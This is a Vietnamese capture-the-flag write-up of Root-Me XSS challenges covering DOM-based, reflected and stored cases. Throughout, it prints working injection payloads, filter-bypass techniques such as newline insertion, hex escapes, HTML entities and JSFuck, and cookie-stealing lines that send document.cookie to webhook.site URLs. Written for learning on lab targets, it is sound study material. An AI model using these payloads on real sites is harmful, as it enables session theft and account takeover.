# XSS DOM Based - Introduction ![image](https://hackmd.io/_uploads/Hke7Rd2Myl.png) ![image](https://hackmd.io/_uploads/SkSK0unfkx.png) Challenge này là một challenge DOM-based XSS, nhìn vào đoạn script ở dưới mình thấy biến number là input mà mình có thể control được. Nhắc lại DOM-based XSS thì đây là một loại XSS sẽ execute trực tiếp mã Javascript độc hại ngay trên trình duyệt mà không cần việc chờ HTTP response về rồi mới execute như Reflected XSS. Ở đây biến number là mình control được. Vì vậy ý tưởng của mình là inject sao cho nó sẽ trở thành như này: ``` var number = 'a';location.href=" https://webhook.site/e4aa083f-71f4-4197-ae40-dce002053188/?cookie=" + document.cookie;// ``` Ý tưởng là vậy, mình confirm được XSS ở đây thông qua payload: ``` a';alert(1);// ``` http://challenge01.root-me.org/web-client/ch32/index.php?number=a%27%3Balert%281%29%3B%2F%2F ![image](https://hackmd.io/_uploads/B1C5lKhM1l.png) Payload để steal cookie: ``` ';location.href=" https://webhook.site/e4aa083f-71f4-4197-ae40-dce002053188/?cookie=" + document.cookie;// ``` ![image](https://hackmd.io/_uploads/Bk4KqY3Gyl.png) Flag: `rootme{XSS_D0M_BaSed_InTr0}` # XSS DOM Based - Filters Bypass ![image](https://hackmd.io/_uploads/Hy2LSi2f1x.png) ![image](https://hackmd.io/_uploads/BJgJvo3M1l.png) Cũng giống như challenge `XSS DOM Based - Introduction` thì mình cũng control được biến number. Một điểm khác so với bài trước đó là tại đây, mình sẽ có những filter. Thử với payload `a';alert(1);//` như ở challenge trước thì mình nhận thấy kí tự `;` đã bị filter. ![image](https://hackmd.io/_uploads/ByCf3i3zkx.png) Fuzzing một loại thì mình nhận thấy các char như `%+;"<>` đã bị filter. Trước tiên mình xác nhận mình có thể control được biến number thông qua tham số number thông qua phương thức GET. Đây giờ mình cần tìm cách trigger được XSS. Tại đây mình sẽ có hai hướng: * Hướng thứ nhất: ``` a'%0aalert(1)%0ax=' ``` ![image](https://hackmd.io/_uploads/H1PIf23M1l.png) * Hướng thứ hai: ``` a'-alert(1)-' ``` ![image](https://hackmd.io/_uploads/BJNhfnnzye.png) Tại đây mình đã trigger được XSS rồi. Giờ thì steal cookie nữa là thành công. Payload: ``` a'%0alocation.href=`http://webhook.site/3dd4e509-3aed-44a5-a889-df546f018161?cookie=${document.cookie}`%0ax=' ``` ![image](https://hackmd.io/_uploads/BkqL7hnMkg.png) Oh, mình không hề nhận được cookie và được trả về một đoạn response là `Are you trying a redirect ??`. Sau một hồi thì mình thấy nếu payload mình có chuỗi là `http://` thì sẽ trả về response như này. Mình cần sửa lại chút payload: ``` a'%0alocation.href=`\x68ttp://webhook.site/3dd4e509-3aed-44a5-a889-df546f018161?cookie=${document.cookie}`%0ax=' ``` Giải thích chút thì cú pháp ${} gọi là [literal string](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals) nó khá là giống với f-string trong python. Giờ thì mình stealcookie của admin. Và ở đây mình còn dùng [character escape](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Character_escape) để có thể bypass được việc không xử lí `http://` Con bot admin của rootme làm việc rất chi là lề mề nên cần chờ một chút. ![image](https://hackmd.io/_uploads/rJy7KnnMyg.png) flag:`rootme{FilTERS_ByPass_DOm_BASEd_XSS}` Giải thích về việc trigger XSS theo hai hướng trên thì: * Hướng thứ nhất: ``` a'%0aalert(1)%0ax=' ``` Như đã biết %0a là đại diện cho kí tự xuống dòng (Line Feed), mặt khác syntax sẽ được hiểu như là: ``` var number = 'a' alert(1) x='' ``` Không hề có dấu ; vậy sao syntax ở đây vẫn valid? Tất cả là do [ASI](https://stackoverflow.com/questions/2846283/what-are-the-rules-for-javascripts-automatic-semicolon-insertion-asi). Về cơ bản ASI là cơ chế tự động chèn dấu `;` vào những nơi cần thiết để tránh lỗi syntax. Giả sử với đoạn HTML sau: ![image](https://hackmd.io/_uploads/ryC5ThnGJe.png) ![image](https://hackmd.io/_uploads/Bk3gyphzye.png) * Hướng thứ hai: JavaScript cho phép toán tử `-` thực thi ngay cả khi các toán hạng không phải là số. Lấy ví dụ sau: ![image](https://hackmd.io/_uploads/rkcjyp3fke.png) Hàm alert() trả về undefined. Chuỗi 'a' không chuyển đổi thành số nên khi JavaScript cố thực hiện 'a' - undefined, thì cả hai sẽ chuyển đổi thành giá trị NaN (Not-a-number) và kết quả biểu thức sẽ là NaN. Trong khi đó alert() vẫn thực thi. ![image](https://hackmd.io/_uploads/ByNqv63fke.png) # XSS DOM Based - AngularJS ![image](https://hackmd.io/_uploads/HJWDEAhMke.png) Challenge này liên quan đến thư viện AngularJS. ![image](https://hackmd.io/_uploads/By0dERnGyx.png) Tại challenge này mình control được biến name. Tham khảo tại https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression. Mình sử nhập payload: ``` {{$on.constructor('alert(1)')()}} ``` ![image](https://hackmd.io/_uploads/BkZwHA3GJx.png) sau khi nhận response thì mình nhận thấy rằng kí tự `'` của mình đã bị xóa bỏ. Vậy là ở lab này có filter. Mình thử fuzzing tiếp. ![image](https://hackmd.io/_uploads/SkP7U03fJx.png) Từ đây mình có thể thấy `<>'` đã bị filter. Tuy nhiên mình vẫn dùng `"` để trigger XSS được. ![image](https://hackmd.io/_uploads/S1aDIChfkl.png) Tuy nhiên mình còn phải steal cookie. Thông thường steal cookie mình sẽ dùng payload như sau: ``` {{$on.constructor('location.href="https://webhook.site/3dd4e509-3aed-44a5-a889-df546f018161?cookie=".concat(document.cookie)')()}} ``` Tuy nhiên kí tự `'` đã bị filter. Giải pháp thay thế mình sử dụng [HTML entity encode](https://www.w3schools.com/html/html_entities.asp). ``` {{$on.constructor(&#39;location.href="https://webhook.site/3dd4e509-3aed-44a5-a889-df546f018161?cookie=".concat(document.cookie)&#39;)()}} ``` ![image](https://hackmd.io/_uploads/r1DtoAnGJg.png) # XSS DOM Based - Eval ![image](https://hackmd.io/_uploads/rk2uK03fkx.png) ![image](https://hackmd.io/_uploads/Sy6CKAnfJx.png) Challenge cung cấp cho mình một bảng tính. Mình có nhập thử một kí tự chữ thì nhận được response:![image](https://hackmd.io/_uploads/H1KbqA3M1e.png) Về đoạn regex này thì nó sẽ bắt đầu bằng một hoặc nhiều chữ số sau đó một trong các phép + - * / và kết thúc bằng một hoặc nhiều chữ số khác. Ví dụ như 101+111 Đọc code xử lí thì mình thấy sink của challenge này là [eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval). Dựa vào regex trên, mình truyền vào đó một payload như sau: ``` 1+1);alert(1);// ``` ![image](https://hackmd.io/_uploads/S1YBp03z1g.png) Mình nhận thấy kí tự `(` đã bị filter. Vậy là challenge này có filter. Mình thử fuzzing để xem còn filter kí tự nào nữa không. ![image](https://hackmd.io/_uploads/SJ8kAAnMkg.png) Dựa vào kết quả fuzzing thì chỉ có cặp ngoặc `()` bị filter. Đối với sink eval() thì nó không chỉ dùng để tính toán mà còn thực thi được mã javascript truyền vào nó. ``` 1+1,location.href="https://webhook.site/3dd4e509-3aed-44a5-a889-df546f018161" ``` Có redirect => nó đã work. Thực hiện steal cookie: ``` 1+1,location.href="https://webhook.site/3dd4e509-3aed-44a5-a889-df546f018161?cookie="+document.cookie ``` ![image](https://hackmd.io/_uploads/HkM6kJ6z1g.png) # XSS - Reflected ![image](https://hackmd.io/_uploads/rJgfV-yafyg.png) ![image](https://hackmd.io/_uploads/BJMHZkTGyx.png) ![image](https://hackmd.io/_uploads/ryxIbkpzkx.png) Nhận thấy tại đây có tham số p trên thanh url mình thử nhập vào đó vài kí tự: ![image](https://hackmd.io/_uploads/HJvobyTfyl.png) Nó thật sự có reflect lại những gì mình nhập => Có thể có XSS ở đây. ![image](https://hackmd.io/_uploads/SkuCbypMkg.png) Nó được gắn làm attribute của thẻ `<a>` => Mình cần tìm cách thêm các attribute và đóng thẻ để trigger giống một lab nào đó trong port swigger mình từng làm. ``` a' autofocus onfocus='alert(1) ``` Mình dùng dấu `'` vì lúc sử dụng `"` thì không trigger XSS được (tell me why?) ![image](https://hackmd.io/_uploads/HJPav1Tzyx.png) Rồi luôn nó alert tới bên luôn. ![image](https://hackmd.io/_uploads/BJ3Nu16Gke.png) Mình có tham khảo thêm được payload: ``` a' onmouseover='alert(1) ``` Payload này thì cần tương tác của người dùng và tắt được alert() 😂. Steal cookie thôi ``` a' onmouseover='location.href="https://webhook.site/3dd4e509-3aed-44a5-a889-df546f018161?cookie=".concat(document.cookie) ``` ![image](https://hackmd.io/_uploads/S1W7FJaMJx.png) Con admin bot của rootme lề mề thật sự 😡 ![image](https://hackmd.io/_uploads/HyBmckTfye.png) # XSS - Stored 2 ![image](https://hackmd.io/_uploads/HJbOnJpzke.png) ![image](https://hackmd.io/_uploads/Bycd3J6zkx.png) ![image](https://hackmd.io/_uploads/r1xapOTGye.png) Các trường trong form này có vẻ đã bị filter hết rồi, không thể tấn công qua form này được. Nhưng ở đây có một thứ khá đặc biệt là co sự xuất hiện của (status : invite) ![image](https://hackmd.io/_uploads/BJ48JtTfkg.png) Check qua thì đó là cookie. Vậy là có thêm một attack surface nữa. ![image](https://hackmd.io/_uploads/rJItyKpzkl.png) Check thì nó được nằm trong thẻ `<i>`, giờ mình sẽ thoát khỏi thẻ `<i>` và inject thêm một thẻ script khác để trigger XSS. ``` a"><script>alert(1)</script> ``` ![image](https://hackmd.io/_uploads/BJWTgKpfye.png) ![image](https://hackmd.io/_uploads/HJaaeKTzkl.png) ``` a"><script>location.href="https://webhook.site/dc68d4ad-2400-4886-80f8-6072e5e367d3?cookie="+document.cookie</script> ``` ![image](https://hackmd.io/_uploads/HkWnXtpfyx.png) ![image](https://hackmd.io/_uploads/H1tnmFTz1g.png) Mình steal được ADMIN_COOKIE => Trở thành admin lấy flag là xong. ![image](https://hackmd.io/_uploads/S1lyBKpG1x.png) # XSS - Stored - filter bypass ![image](https://hackmd.io/_uploads/ByWgq56z1l.png) ![image](https://hackmd.io/_uploads/H1OH3c6zke.png) Mình thử nhập bừa gì đó vào form thì nó có reflect lại những gì mình nhập => Có khả năng XSS (thực ra là kiểu gì chả có tại đây là challenge XSS mà 😂). ![image](https://hackmd.io/_uploads/Hkbf0caMJl.png) Mình thử với payload cơ bản: ``` <script>alert(1)</script> ``` ![image](https://hackmd.io/_uploads/S1Xtpcafkx.png) Vậy là tag script đã bị filter. Mình bắt đầu fuzzing để biết mình đã bị filter những gì. Mình fuzzing bằng bộ này https://portswigger.net/web-security/cross-site-scripting/cheat-sheet Fuzzing một hồi mình nhận ra trường title đã filter hết những tag trong wordlist của mình. ![image](https://hackmd.io/_uploads/HyswljTM1l.png) Fuzzing tiếp trường content thì vẫn còn các tag HTML mình thấy các tag hay gặp trong payload XSS như script, iframe,... đã bị filter, tuy nhiên vẫn còn rất nhiều tag HTML khác có thể dùng được. ![image](https://hackmd.io/_uploads/BJGB-sTGJl.png) ![image](https://hackmd.io/_uploads/Sy08-opGkx.png) Mình lại tiếp tục fuzzing tiếp các event. ![image](https://hackmd.io/_uploads/SkRLfoaGyl.png) Tất cả đã bị filter? Trigger XSS kiểu gì đây? Tại đây mình stuck và bắt đầu mình đi tìm kiếm sự trợ giúp thì mình biết được là các event khi đi cùng dấu = và các thuộc tính như document,... đều bị filter sạch. Mình nhận thêm được 1 hint là có thể sử dụng onfocus và autofocus cho thẻ `<button>` để trigger XSS cùng với việc dùng JSFuck để bypass được filter. ``` document.location='https://webhook.site/ac6db40d-b1f5-41da-8340-e72ec0130c42?cookie='.concat(document.cookie) ``` Dùng [JSFuck](https://jsfuck.com/) để convert payload này. Và đưa nó vào làm tham số cho payload sau: ``` <button autofocus onfocus=(eval)(JSFUCK)></button> ``` ![image](https://hackmd.io/_uploads/HyTeBs6Mkg.png) ![image](https://hackmd.io/_uploads/SydGl4AMke.png) Flag: `qa26f3ugb5tqv7o0mbvtv414u8` --- Write-up không nhằm mục tiêu phong bạt mà chỉ nhằm mục tiêu note lại những gì bản thân học được. > Đây là một số challenge XSS mình dùng để luyện tập vì mình cảm thấy mình chưa được tốt trong tấn công XSS. Mình muốn viết lại write-up các challenge này nhằm mục đích note lại những thứ mình học. Trong quá trình làm, có những challenge mình có thể làm, có challenge mình stuck (điển hình `XSS - Stored - filter bypass`), mình có đi hỏi và tham khảo từ người khác để đúc kết lại kiến thức cho mình. --- Reference: https://drx.home.blog/2019/07/29/xss-cross-site-scripting-part-1-introduction/ https://drx.home.blog/2019/07/29/xss-cross-site-scripting-part-2-payload-and-bypass/ https://drx.home.blog/2019/07/31/xss-cross-site-scripting-part-3-xss-auditor/ https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting